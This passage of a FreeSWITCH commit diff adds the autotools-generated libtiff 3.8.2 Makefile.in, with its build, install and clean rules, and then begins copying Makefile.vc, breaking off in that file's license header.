+GLUT_CFLAGS = @GLUT_CFLAGS@
+GLUT_LIBS = @GLUT_LIBS@
+GLU_CFLAGS = @GLU_CFLAGS@
+GLU_LIBS = @GLU_LIBS@
+GL_CFLAGS = @GL_CFLAGS@
+GL_LIBS = @GL_LIBS@
+GREP = @GREP@
+HAVE_CXX_FALSE = @HAVE_CXX_FALSE@
+HAVE_CXX_TRUE = @HAVE_CXX_TRUE@
+HAVE_OPENGL_FALSE = @HAVE_OPENGL_FALSE@
+HAVE_OPENGL_TRUE = @HAVE_OPENGL_TRUE@
+HAVE_RPATH_FALSE = @HAVE_RPATH_FALSE@
+HAVE_RPATH_TRUE = @HAVE_RPATH_TRUE@
+INSTALL_DATA = @INSTALL_DATA@
+INSTALL_PROGRAM = @INSTALL_PROGRAM@
+INSTALL_SCRIPT = @INSTALL_SCRIPT@
+INSTALL_STRIP_PROGRAM = @INSTALL_STRIP_PROGRAM@
+LD = @LD@
+LDFLAGS = @LDFLAGS@
+LIBDIR = @LIBDIR@
+LIBOBJS = @LIBOBJS@
+LIBS = @LIBS@
+LIBTIFF_ALPHA_VERSION = @LIBTIFF_ALPHA_VERSION@
+LIBTIFF_DOCDIR = @LIBTIFF_DOCDIR@
+LIBTIFF_MAJOR_VERSION = @LIBTIFF_MAJOR_VERSION@
+LIBTIFF_MICRO_VERSION = @LIBTIFF_MICRO_VERSION@
+LIBTIFF_MINOR_VERSION = @LIBTIFF_MINOR_VERSION@
+LIBTIFF_RELEASE_DATE = @LIBTIFF_RELEASE_DATE@
+LIBTIFF_VERSION = @LIBTIFF_VERSION@
+LIBTIFF_VERSION_INFO = @LIBTIFF_VERSION_INFO@
+LIBTOOL = @LIBTOOL@
+LN_S = @LN_S@
+LTLIBOBJS = @LTLIBOBJS@
+MAINT = @MAINT@
+MAINTAINER_MODE_FALSE = @MAINTAINER_MODE_FALSE@
+MAINTAINER_MODE_TRUE = @MAINTAINER_MODE_TRUE@
+MAKEINFO = @MAKEINFO@
+NM = @NM@
+OBJDUMP = @OBJDUMP@
+OBJEXT = @OBJEXT@
+PACKAGE = @PACKAGE@
+PACKAGE_BUGREPORT = @PACKAGE_BUGREPORT@
+PACKAGE_NAME = @PACKAGE_NAME@
+PACKAGE_STRING = @PACKAGE_STRING@
+PACKAGE_TARNAME = @PACKAGE_TARNAME@
+PACKAGE_VERSION = @PACKAGE_VERSION@
+PATH_SEPARATOR = @PATH_SEPARATOR@
+PTHREAD_CC = @PTHREAD_CC@
+PTHREAD_CFLAGS = @PTHREAD_CFLAGS@
+PTHREAD_LIBS = @PTHREAD_LIBS@
+RANLIB = @RANLIB@
+SED = @SED@
+SET_MAKE = @SET_MAKE@
+SHELL = @SHELL@
+STRIP = @STRIP@
+VERSION = @VERSION@
+X_CFLAGS = @X_CFLAGS@
+X_EXTRA_LIBS = @X_EXTRA_LIBS@
+X_LIBS = @X_LIBS@
+X_PRE_LIBS = @X_PRE_LIBS@
+ac_ct_AR = @ac_ct_AR@
+ac_ct_AS = @ac_ct_AS@
+ac_ct_CC = @ac_ct_CC@
+ac_ct_CXX = @ac_ct_CXX@
+ac_ct_DLLTOOL = @ac_ct_DLLTOOL@
+ac_ct_DUMPBIN = @ac_ct_DUMPBIN@
+ac_ct_OBJDUMP = @ac_ct_OBJDUMP@
+ac_ct_RANLIB = @ac_ct_RANLIB@
+ac_ct_STRIP = @ac_ct_STRIP@
+acx_pthread_config = @acx_pthread_config@
+am__fastdepCC_FALSE = @am__fastdepCC_FALSE@
+am__fastdepCC_TRUE = @am__fastdepCC_TRUE@
+am__fastdepCXX_FALSE = @am__fastdepCXX_FALSE@
+am__fastdepCXX_TRUE = @am__fastdepCXX_TRUE@
+am__include = @am__include@
+am__leading_dot = @am__leading_dot@
+am__quote = @am__quote@
+am__tar = @am__tar@
+am__untar = @am__untar@
+bindir = @bindir@
+build = @build@
+build_alias = @build_alias@
+build_cpu = @build_cpu@
+build_os = @build_os@
+build_vendor = @build_vendor@
+datadir = @datadir@
+exec_prefix = @exec_prefix@
+host = @host@
+host_alias = @host_alias@
+host_cpu = @host_cpu@
+host_os = @host_os@
+host_vendor = @host_vendor@
+includedir = @includedir@
+infodir = @infodir@
+install_sh = @install_sh@
+libdir = @libdir@
+libexecdir = @libexecdir@
+localstatedir = @localstatedir@
+lt_ECHO = @lt_ECHO@
+mandir = @mandir@
+mkdir_p = @mkdir_p@
+oldincludedir = @oldincludedir@
+prefix = @prefix@
+program_transform_name = @program_transform_name@
+sbindir = @sbindir@
+sharedstatedir = @sharedstatedir@
+sysconfdir = @sysconfdir@
+target = @target@
+target_alias = @target_alias@
+target_cpu = @target_cpu@
+target_os = @target_os@
+target_vendor = @target_vendor@
+LIBPORT = $(top_builddir)/port/libport.la
+LIBTIFF = $(top_builddir)/libtiff/libtiff.la
+EXTRA_DIST = Makefile.vc SConstruct tif_config.h.vc tiffconf.h.vc libtiff.def \
+	     $(EXTRA_SRCS)
+
+HDRS = tiff.h tiffconf.h tiffio.h tiffvers.h $(am__append_1)
+EXTRA_HDRS = \
+	t4.h \
+	tif_dir.h \
+	tif_predict.h \
+	tiffiop.h \
+	uvcode.h
+
+SRCS = \
+	tif_aux.c \
+	tif_close.c \
+	tif_codec.c \
+	tif_color.c \
+	tif_compress.c \
+	tif_dir.c \
+	tif_dirinfo.c \
+	tif_dirread.c \
+	tif_dirwrite.c \
+	tif_dumpmode.c \
+	tif_error.c \
+	tif_extension.c \
+	tif_fax3.c \
+	tif_fax3sm.c \
+	tif_flush.c \
+	tif_getimage.c \
+	tif_jpeg.c \
+	tif_luv.c \
+	tif_lzw.c \
+	tif_next.c \
+	tif_ojpeg.c \
+	tif_open.c \
+	tif_packbits.c \
+	tif_pixarlog.c \
+	tif_predict.c \
+	tif_print.c \
+	tif_read.c \
+	tif_strip.c \
+	tif_swab.c \
+	tif_thunder.c \
+	tif_tile.c \
+	tif_unix.c \
+	tif_version.c \
+	tif_warning.c \
+	tif_write.c \
+	tif_zip.c
+
+SRCSXX = \
+	tif_stream.cxx
+
+EXTRA_SRCS = \
+	tif_acorn.c \
+	tif_apple.c \
+	tif_atari.c \
+	tif_msdos.c \
+	tif_next.c \
+	tif_win3.c \
+	tif_win32.c
+
+libtiffincludedir = $(includedir)
+libtiffinclude_HEADERS = $(HDRS)
+noinst_HEADERS = $(EXTRA_HDRS)
+lib_LTLIBRARIES = libtiff.la $(am__append_2)
+libtiff_la_SOURCES = $(SRCS)
+libtiff_la_LDFLAGS = -no-undefined -version-number \
+	$(LIBTIFF_VERSION_INFO) $(am__append_3)
+libtiff_la_LIBADD = $(LIBPORT)
+libtiffxx_la_SOURCES = $(SRCSXX)
+libtiffxx_la_LDFLAGS = -no-undefined -version-number \
+	$(LIBTIFF_VERSION_INFO) $(am__append_4)
+libtiffxx_la_LIBADD = $(LIBTIFF) $(LIBPORT)
+libtiffxx_la_DEPENDENCIES = libtiff.la
+mkg3states_SOURCES = mkg3states.c tif_fax3.h
+mkg3states_LDADD = $(LIBPORT)
+all: tif_config.h tiffconf.h
+	$(MAKE) $(AM_MAKEFLAGS) all-am
+
+.SUFFIXES:
+.SUFFIXES: .c .cxx .lo .o .obj
+$(srcdir)/Makefile.in: @MAINTAINER_MODE_TRUE@ $(srcdir)/Makefile.am  $(am__configure_deps)
+	@for dep in $?; do \
+	  case '$(am__configure_deps)' in \
+	    *$$dep*) \
+	      cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh \
+		&& exit 0; \
+	      exit 1;; \
+	  esac; \
+	done; \
+	echo ' cd $(top_srcdir) && $(AUTOMAKE) --foreign  libtiff/Makefile'; \
+	cd $(top_srcdir) && \
+	  $(AUTOMAKE) --foreign  libtiff/Makefile
+.PRECIOUS: Makefile
+Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status
+	@case '$?' in \
+	  *config.status*) \
+	    cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh;; \
+	  *) \
+	    echo ' cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe)'; \
+	    cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe);; \
+	esac;
+
+$(top_builddir)/config.status: $(top_srcdir)/configure $(CONFIG_STATUS_DEPENDENCIES)
+	cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
+
+$(top_srcdir)/configure: @MAINTAINER_MODE_TRUE@ $(am__configure_deps)
+	cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
+$(ACLOCAL_M4): @MAINTAINER_MODE_TRUE@ $(am__aclocal_m4_deps)
+	cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
+
+tif_config.h: stamp-h1
+	@if test ! -f $@; then \
+	  rm -f stamp-h1; \
+	  $(MAKE) stamp-h1; \
+	else :; fi
+
+stamp-h1: $(srcdir)/tif_config.h.in $(top_builddir)/config.status
+	@rm -f stamp-h1
+	cd $(top_builddir) && $(SHELL) ./config.status libtiff/tif_config.h
+$(srcdir)/tif_config.h.in: @MAINTAINER_MODE_TRUE@ $(am__configure_deps) 
+	cd $(top_srcdir) && $(AUTOHEADER)
+	rm -f stamp-h1
+	touch $@
+
+tiffconf.h: stamp-h2
+	@if test ! -f $@; then \
+	  rm -f stamp-h2; \
+	  $(MAKE) stamp-h2; \
+	else :; fi
+
+stamp-h2: $(srcdir)/tiffconf.h.in $(top_builddir)/config.status
+	@rm -f stamp-h2
+	cd $(top_builddir) && $(SHELL) ./config.status libtiff/tiffconf.h
+
+distclean-hdr:
+	-rm -f tif_config.h stamp-h1 tiffconf.h stamp-h2
+install-libLTLIBRARIES: $(lib_LTLIBRARIES)
+	@$(NORMAL_INSTALL)
+	test -z "$(libdir)" || $(mkdir_p) "$(DESTDIR)$(libdir)"
+	@list='$(lib_LTLIBRARIES)'; for p in $$list; do \
+	  if test -f $$p; then \
+	    f=$(am__strip_dir) \
+	    echo " $(LIBTOOL) --mode=install $(libLTLIBRARIES_INSTALL) $(INSTALL_STRIP_FLAG) '$$p' '$(DESTDIR)$(libdir)/$$f'"; \
+	    $(LIBTOOL) --mode=install $(libLTLIBRARIES_INSTALL) $(INSTALL_STRIP_FLAG) "$$p" "$(DESTDIR)$(libdir)/$$f"; \
+	  else :; fi; \
+	done
+
+uninstall-libLTLIBRARIES:
+	@$(NORMAL_UNINSTALL)
+	@set -x; list='$(lib_LTLIBRARIES)'; for p in $$list; do \
+	  p=$(am__strip_dir) \
+	  echo " $(LIBTOOL) --mode=uninstall rm -f '$(DESTDIR)$(libdir)/$$p'"; \
+	  $(LIBTOOL) --mode=uninstall rm -f "$(DESTDIR)$(libdir)/$$p"; \
+	done
+
+clean-libLTLIBRARIES:
+	-test -z "$(lib_LTLIBRARIES)" || rm -f $(lib_LTLIBRARIES)
+	@list='$(lib_LTLIBRARIES)'; for p in $$list; do \
+	  dir="`echo $$p | sed -e 's|/[^/]*$$||'`"; \
+	  test "$$dir" != "$$p" || dir=.; \
+	  echo "rm -f \"$${dir}/so_locations\""; \
+	  rm -f "$${dir}/so_locations"; \
+	done
+libtiff.la: $(libtiff_la_OBJECTS) $(libtiff_la_DEPENDENCIES) 
+	$(LINK) -rpath $(libdir) $(libtiff_la_LDFLAGS) $(libtiff_la_OBJECTS) $(libtiff_la_LIBADD) $(LIBS)
+libtiffxx.la: $(libtiffxx_la_OBJECTS) $(libtiffxx_la_DEPENDENCIES) 
+	$(CXXLINK) $(am_libtiffxx_la_rpath) $(libtiffxx_la_LDFLAGS) $(libtiffxx_la_OBJECTS) $(libtiffxx_la_LIBADD) $(LIBS)
+
+clean-noinstPROGRAMS:
+	@list='$(noinst_PROGRAMS)'; for p in $$list; do \
+	  f=`echo $$p|sed 's/$(EXEEXT)$$//'`; \
+	  echo " rm -f $$p $$f"; \
+	  rm -f $$p $$f ; \
+	done
+mkg3states$(EXEEXT): $(mkg3states_OBJECTS) $(mkg3states_DEPENDENCIES) 
+	@rm -f mkg3states$(EXEEXT)
+	$(LINK) $(mkg3states_LDFLAGS) $(mkg3states_OBJECTS) $(mkg3states_LDADD) $(LIBS)
+
+mostlyclean-compile:
+	-rm -f *.$(OBJEXT)
+
+distclean-compile:
+	-rm -f *.tab.c
+
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/mkg3states.Po@am__quote@
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/tif_aux.Plo@am__quote@
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/tif_close.Plo@am__quote@
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/tif_codec.Plo@am__quote@
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/tif_color.Plo@am__quote@
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/tif_compress.Plo@am__quote@
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/tif_dir.Plo@am__quote@
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/tif_dirinfo.Plo@am__quote@
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/tif_dirread.Plo@am__quote@
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/tif_dirwrite.Plo@am__quote@
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/tif_dumpmode.Plo@am__quote@
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/tif_error.Plo@am__quote@
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/tif_extension.Plo@am__quote@
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/tif_fax3.Plo@am__quote@
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/tif_fax3sm.Plo@am__quote@
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/tif_flush.Plo@am__quote@
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/tif_getimage.Plo@am__quote@
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/tif_jpeg.Plo@am__quote@
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/tif_luv.Plo@am__quote@
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/tif_lzw.Plo@am__quote@
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/tif_next.Plo@am__quote@
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/tif_ojpeg.Plo@am__quote@
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/tif_open.Plo@am__quote@
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/tif_packbits.Plo@am__quote@
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/tif_pixarlog.Plo@am__quote@
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/tif_predict.Plo@am__quote@
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/tif_print.Plo@am__quote@
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/tif_read.Plo@am__quote@
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/tif_stream.Plo@am__quote@
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/tif_strip.Plo@am__quote@
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/tif_swab.Plo@am__quote@
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/tif_thunder.Plo@am__quote@
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/tif_tile.Plo@am__quote@
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/tif_unix.Plo@am__quote@
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/tif_version.Plo@am__quote@
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/tif_warning.Plo@am__quote@
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/tif_write.Plo@am__quote@
+@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/tif_zip.Plo@am__quote@
+
+.c.o:
+@am__fastdepCC_TRUE@	if $(COMPILE) -MT $@ -MD -MP -MF "$(DEPDIR)/$*.Tpo" -c -o $@ $<; \
+@am__fastdepCC_TRUE@	then mv -f "$(DEPDIR)/$*.Tpo" "$(DEPDIR)/$*.Po"; else rm -f "$(DEPDIR)/$*.Tpo"; exit 1; fi
+@AMDEP_TRUE@@am__fastdepCC_FALSE@	source='$<' object='$@' libtool=no @AMDEPBACKSLASH@
+@AMDEP_TRUE@@am__fastdepCC_FALSE@	DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@
+@am__fastdepCC_FALSE@	$(COMPILE) -c $<
+
+.c.obj:
+@am__fastdepCC_TRUE@	if $(COMPILE) -MT $@ -MD -MP -MF "$(DEPDIR)/$*.Tpo" -c -o $@ `$(CYGPATH_W) '$<'`; \
+@am__fastdepCC_TRUE@	then mv -f "$(DEPDIR)/$*.Tpo" "$(DEPDIR)/$*.Po"; else rm -f "$(DEPDIR)/$*.Tpo"; exit 1; fi
+@AMDEP_TRUE@@am__fastdepCC_FALSE@	source='$<' object='$@' libtool=no @AMDEPBACKSLASH@
+@AMDEP_TRUE@@am__fastdepCC_FALSE@	DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@
+@am__fastdepCC_FALSE@	$(COMPILE) -c `$(CYGPATH_W) '$<'`
+
+.c.lo:
+@am__fastdepCC_TRUE@	if $(LTCOMPILE) -MT $@ -MD -MP -MF "$(DEPDIR)/$*.Tpo" -c -o $@ $<; \
+@am__fastdepCC_TRUE@	then mv -f "$(DEPDIR)/$*.Tpo" "$(DEPDIR)/$*.Plo"; else rm -f "$(DEPDIR)/$*.Tpo"; exit 1; fi
+@AMDEP_TRUE@@am__fastdepCC_FALSE@	source='$<' object='$@' libtool=yes @AMDEPBACKSLASH@
+@AMDEP_TRUE@@am__fastdepCC_FALSE@	DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@
+@am__fastdepCC_FALSE@	$(LTCOMPILE) -c -o $@ $<
+
+.cxx.o:
+@am__fastdepCXX_TRUE@	if $(CXXCOMPILE) -MT $@ -MD -MP -MF "$(DEPDIR)/$*.Tpo" -c -o $@ $<; \
+@am__fastdepCXX_TRUE@	then mv -f "$(DEPDIR)/$*.Tpo" "$(DEPDIR)/$*.Po"; else rm -f "$(DEPDIR)/$*.Tpo"; exit 1; fi
+@AMDEP_TRUE@@am__fastdepCXX_FALSE@	source='$<' object='$@' libtool=no @AMDEPBACKSLASH@
+@AMDEP_TRUE@@am__fastdepCXX_FALSE@	DEPDIR=$(DEPDIR) $(CXXDEPMODE) $(depcomp) @AMDEPBACKSLASH@
+@am__fastdepCXX_FALSE@	$(CXXCOMPILE) -c -o $@ $<
+
+.cxx.obj:
+@am__fastdepCXX_TRUE@	if $(CXXCOMPILE) -MT $@ -MD -MP -MF "$(DEPDIR)/$*.Tpo" -c -o $@ `$(CYGPATH_W) '$<'`; \
+@am__fastdepCXX_TRUE@	then mv -f "$(DEPDIR)/$*.Tpo" "$(DEPDIR)/$*.Po"; else rm -f "$(DEPDIR)/$*.Tpo"; exit 1; fi
+@AMDEP_TRUE@@am__fastdepCXX_FALSE@	source='$<' object='$@' libtool=no @AMDEPBACKSLASH@
+@AMDEP_TRUE@@am__fastdepCXX_FALSE@	DEPDIR=$(DEPDIR) $(CXXDEPMODE) $(depcomp) @AMDEPBACKSLASH@
+@am__fastdepCXX_FALSE@	$(CXXCOMPILE) -c -o $@ `$(CYGPATH_W) '$<'`
+
+.cxx.lo:
+@am__fastdepCXX_TRUE@	if $(LTCXXCOMPILE) -MT $@ -MD -MP -MF "$(DEPDIR)/$*.Tpo" -c -o $@ $<; \
+@am__fastdepCXX_TRUE@	then mv -f "$(DEPDIR)/$*.Tpo" "$(DEPDIR)/$*.Plo"; else rm -f "$(DEPDIR)/$*.Tpo"; exit 1; fi
+@AMDEP_TRUE@@am__fastdepCXX_FALSE@	source='$<' object='$@' libtool=yes @AMDEPBACKSLASH@
+@AMDEP_TRUE@@am__fastdepCXX_FALSE@	DEPDIR=$(DEPDIR) $(CXXDEPMODE) $(depcomp) @AMDEPBACKSLASH@
+@am__fastdepCXX_FALSE@	$(LTCXXCOMPILE) -c -o $@ $<
+
+mostlyclean-libtool:
+	-rm -f *.lo
+
+clean-libtool:
+	-rm -rf .libs _libs
+
+distclean-libtool:
+	-rm -f libtool
+uninstall-info-am:
+install-libtiffincludeHEADERS: $(libtiffinclude_HEADERS)
+	@$(NORMAL_INSTALL)
+	test -z "$(libtiffincludedir)" || $(mkdir_p) "$(DESTDIR)$(libtiffincludedir)"
+	@list='$(libtiffinclude_HEADERS)'; for p in $$list; do \
+	  if test -f "$$p"; then d=; else d="$(srcdir)/"; fi; \
+	  f=$(am__strip_dir) \
+	  echo " $(libtiffincludeHEADERS_INSTALL) '$$d$$p' '$(DESTDIR)$(libtiffincludedir)/$$f'"; \
+	  $(libtiffincludeHEADERS_INSTALL) "$$d$$p" "$(DESTDIR)$(libtiffincludedir)/$$f"; \
+	done
+
+uninstall-libtiffincludeHEADERS:
+	@$(NORMAL_UNINSTALL)
+	@list='$(libtiffinclude_HEADERS)'; for p in $$list; do \
+	  f=$(am__strip_dir) \
+	  echo " rm -f '$(DESTDIR)$(libtiffincludedir)/$$f'"; \
+	  rm -f "$(DESTDIR)$(libtiffincludedir)/$$f"; \
+	done
+
+ID: $(HEADERS) $(SOURCES) $(LISP) $(TAGS_FILES)
+	list='$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \
+	unique=`for i in $$list; do \
+	    if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \
+	  done | \
+	  $(AWK) '    { files[$$0] = 1; } \
+	       END { for (i in files) print i; }'`; \
+	mkid -fID $$unique
+tags: TAGS
+
+TAGS:  $(HEADERS) $(SOURCES) tif_config.h.in tiffconf.h.in $(TAGS_DEPENDENCIES) \
+		$(TAGS_FILES) $(LISP)
+	tags=; \
+	here=`pwd`; \
+	list='$(SOURCES) $(HEADERS) tif_config.h.in tiffconf.h.in $(LISP) $(TAGS_FILES)'; \
+	unique=`for i in $$list; do \
+	    if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \
+	  done | \
+	  $(AWK) '    { files[$$0] = 1; } \
+	       END { for (i in files) print i; }'`; \
+	if test -z "$(ETAGS_ARGS)$$tags$$unique"; then :; else \
+	  test -n "$$unique" || unique=$$empty_fix; \
+	  $(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \
+	    $$tags $$unique; \
+	fi
+ctags: CTAGS
+CTAGS:  $(HEADERS) $(SOURCES) tif_config.h.in tiffconf.h.in $(TAGS_DEPENDENCIES) \
+		$(TAGS_FILES) $(LISP)
+	tags=; \
+	here=`pwd`; \
+	list='$(SOURCES) $(HEADERS) tif_config.h.in tiffconf.h.in $(LISP) $(TAGS_FILES)'; \
+	unique=`for i in $$list; do \
+	    if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \
+	  done | \
+	  $(AWK) '    { files[$$0] = 1; } \
+	       END { for (i in files) print i; }'`; \
+	test -z "$(CTAGS_ARGS)$$tags$$unique" \
+	  || $(CTAGS) $(CTAGSFLAGS) $(AM_CTAGSFLAGS) $(CTAGS_ARGS) \
+	     $$tags $$unique
+
+GTAGS:
+	here=`$(am__cd) $(top_builddir) && pwd` \
+	  && cd $(top_srcdir) \
+	  && gtags -i $(GTAGS_ARGS) $$here
+
+distclean-tags:
+	-rm -f TAGS ID GTAGS GRTAGS GSYMS GPATH tags
+
+distdir: $(DISTFILES)
+	@srcdirstrip=`echo "$(srcdir)" | sed 's|.|.|g'`; \
+	topsrcdirstrip=`echo "$(top_srcdir)" | sed 's|.|.|g'`; \
+	list='$(DISTFILES)'; for file in $$list; do \
+	  case $$file in \
+	    $(srcdir)/*) file=`echo "$$file" | sed "s|^$$srcdirstrip/||"`;; \
+	    $(top_srcdir)/*) file=`echo "$$file" | sed "s|^$$topsrcdirstrip/|$(top_builddir)/|"`;; \
+	  esac; \
+	  if test -f $$file || test -d $$file; then d=.; else d=$(srcdir); fi; \
+	  dir=`echo "$$file" | sed -e 's,/[^/]*$$,,'`; \
+	  if test "$$dir" != "$$file" && test "$$dir" != "."; then \
+	    dir="/$$dir"; \
+	    $(mkdir_p) "$(distdir)$$dir"; \
+	  else \
+	    dir=''; \
+	  fi; \
+	  if test -d $$d/$$file; then \
+	    if test -d $(srcdir)/$$file && test $$d != $(srcdir); then \
+	      cp -pR $(srcdir)/$$file $(distdir)$$dir || exit 1; \
+	    fi; \
+	    cp -pR $$d/$$file $(distdir)$$dir || exit 1; \
+	  else \
+	    test -f $(distdir)/$$file \
+	    || cp -p $$d/$$file $(distdir)/$$file \
+	    || exit 1; \
+	  fi; \
+	done
+check-am: all-am
+check: check-am
+all-am: Makefile $(LTLIBRARIES) $(PROGRAMS) $(HEADERS) tif_config.h \
+		tiffconf.h
+installdirs:
+	for dir in "$(DESTDIR)$(libdir)" "$(DESTDIR)$(libtiffincludedir)"; do \
+	  test -z "$$dir" || $(mkdir_p) "$$dir"; \
+	done
+install: install-am
+install-exec: install-exec-am
+install-data: install-data-am
+uninstall: uninstall-am
+
+install-am: all-am
+	@$(MAKE) $(AM_MAKEFLAGS) install-exec-am install-data-am
+
+installcheck: installcheck-am
+install-strip:
+	$(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \
+	  install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \
+	  `test -z '$(STRIP)' || \
+	    echo "INSTALL_PROGRAM_ENV=STRIPPROG='$(STRIP)'"` install
+mostlyclean-generic:
+
+clean-generic:
+
+distclean-generic:
+	-test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES)
+
+maintainer-clean-generic:
+	@echo "This command is intended for maintainers to use"
+	@echo "it deletes files that may require special tools to rebuild."
+clean: clean-am
+
+clean-am: clean-generic clean-libLTLIBRARIES clean-libtool \
+	clean-noinstPROGRAMS mostlyclean-am
+
+distclean: distclean-am
+	-rm -rf ./$(DEPDIR)
+	-rm -f Makefile
+distclean-am: clean-am distclean-compile distclean-generic \
+	distclean-hdr distclean-libtool distclean-tags
+
+dvi: dvi-am
+
+dvi-am:
+
+html: html-am
+
+info: info-am
+
+info-am:
+
+install-data-am: install-libtiffincludeHEADERS
+
+install-exec-am: install-libLTLIBRARIES
+
+install-info: install-info-am
+
+install-man:
+
+installcheck-am:
+
+maintainer-clean: maintainer-clean-am
+	-rm -rf ./$(DEPDIR)
+	-rm -f Makefile
+maintainer-clean-am: distclean-am maintainer-clean-generic
+
+mostlyclean: mostlyclean-am
+
+mostlyclean-am: mostlyclean-compile mostlyclean-generic \
+	mostlyclean-libtool
+
+pdf: pdf-am
+
+pdf-am:
+
+ps: ps-am
+
+ps-am:
+
+uninstall-am: uninstall-info-am uninstall-libLTLIBRARIES \
+	uninstall-libtiffincludeHEADERS
+
+.PHONY: CTAGS GTAGS all all-am check check-am clean clean-generic \
+	clean-libLTLIBRARIES clean-libtool clean-noinstPROGRAMS ctags \
+	distclean distclean-compile distclean-generic distclean-hdr \
+	distclean-libtool distclean-tags distdir dvi dvi-am html \
+	html-am info info-am install install-am install-data \
+	install-data-am install-exec install-exec-am install-info \
+	install-info-am install-libLTLIBRARIES \
+	install-libtiffincludeHEADERS install-man install-strip \
+	installcheck installcheck-am installdirs maintainer-clean \
+	maintainer-clean-generic mostlyclean mostlyclean-compile \
+	mostlyclean-generic mostlyclean-libtool pdf pdf-am ps ps-am \
+	tags uninstall uninstall-am uninstall-info-am \
+	uninstall-libLTLIBRARIES uninstall-libtiffincludeHEADERS
+
+
+faxtable: mkg3states
+	(rm -f tif_fax3sm.c && ./mkg3states -b -c const tif_fax3sm.c)
+# Tell versions [3.59,3.63) of GNU make to not export all variables.
+# Otherwise a system limit (for SysV at least) may be exceeded.
+.NOEXPORT:

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/Makefile.vc

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/Makefile.vc (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/libtiff/Makefile.vc) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/Makefile.vc	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/Makefile.vc	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,98 @@
+# $Id: Makefile.vc,v 1.15 2006/03/23 14:54:02 dron Exp $
+#
+# Copyright (C) 2004, Andrey Kiselev <dron@ak4719.spb.edu>
+#
+# Permission to use, copy, modify, distribute, and sell this software and 
+# its documentation for any purpose is hereby granted without fee, provided
+# that (i) the above copyright notices and this permission notice appear in
+# all copies of the software and related documentation, and (ii) the names of
+# Sam Leffler and Silicon Graphics may not be used in any advertising or
+# publicity relating to the software without the specific, prior written
+# permission of Sam Leffler and Silicon Graphics.
+# 
+# THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+# EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+# WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+# 
